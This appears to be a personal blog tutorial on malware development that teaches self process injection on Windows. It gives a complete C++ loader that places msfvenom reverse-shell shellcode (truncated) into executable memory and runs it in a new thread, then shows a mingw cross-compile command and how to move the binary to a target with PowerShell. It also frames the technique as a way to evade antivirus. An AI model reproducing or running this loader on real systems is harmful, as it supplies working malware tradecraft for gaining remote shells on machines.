Ideally, I am very interested in malware development, so in this article I want to try writing about Process Injection, one topic within malware development. This article is only a note of what I learned—sorry in advance if it is misleading or out of context.
In this article I only discuss self process injection (not yet remote process injection).
What is Proccess Injection
Process injection is a technique where an attacker runs malicious code inside the address space of a running process—usually a legitimate or normal process. Why is this technique used? Because it can evade AV detection (Windows Defender), since it doesn't always write code to disk; it is often performed entirely in memory.
Self Process Injection
Self process injection occurs when a program loads or executes a malicious payload in its own address space (rather than writing to or running the payload in another process). This technique is often used to avoid dropping files to disk, alter the runtime execution flow, or dynamically load modules/payloads during execution.
Steps
- Create the shellcode (can use msfvenom or other C2)
- Obtain the target process.
- Allocate memory for the shellcode.
- Write the shellcode into the previously allocated memory.
- Execute the shellcode using a thread.
Windows API
- VirtualAlloc() https://learn.microsoft.com/id-id/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
- WriteProcessMemory() https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
- GetCurrentProcess() https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess
- CreateThread() https://learn.microsoft.com/id-id/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
Sourcode Overview
- First, create the shellcode using Metasploit (msfvenom). Here I'm using a simple shellcode for a reverse shell.
- Create our program — I'll name it
main.cpp— then put the following code into it.
- Use the
VirtualAllocfunction to allocate memory for the shellcode.
auto hMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
-
Create two variables: a
SIZE_TforbyteWrittenand aHANDLEforhProcess, which you initialize withGetCurrentProcess()
-
With
WriteProcessMemory()write the shellcode into the memory space you allocated earlier.
-
Create one
DWORDvariable — name it whatever you like; I usethreadId— and set its value to0. This serves as an identifier but is not strictly required. -
Execute the shellcode by creating a thread with
CreateThread(), wait for the thread to finish usingWaitForSingleObject(), then free resources withCloseHandle().
Fullcode
#include <iostream>
#include <windows.h>
int main(){
unsigned char shellcode[]{
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51...};
auto hMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T byteWritten = 0;
HANDLE hProccess = GetCurrentProcess();
WriteProcessMemory(
hProccess,
hMemory,
shellcode,
sizeof(shellcode),
&byteWritten
);
DWORD threadId = 0;
auto hThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)hMemory,
NULL,
0,
&threadId
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
Cross Compile Code From Linux
x86_64-w64-mingw32-g++ -o classic.exe classic.cpp -static
Set Listener and running payload in Windows
Transfer the binary file classic.exe using Python 3, and simply download binary.exe using the built-in iwr (Invoke-WebRequest) in Windows PowerShell.
I run the binary on Windows 11 with the AV (Windows Defender) turned off. Maybe next time we'll discuss how to bypass Windows Defender using process injection techniques.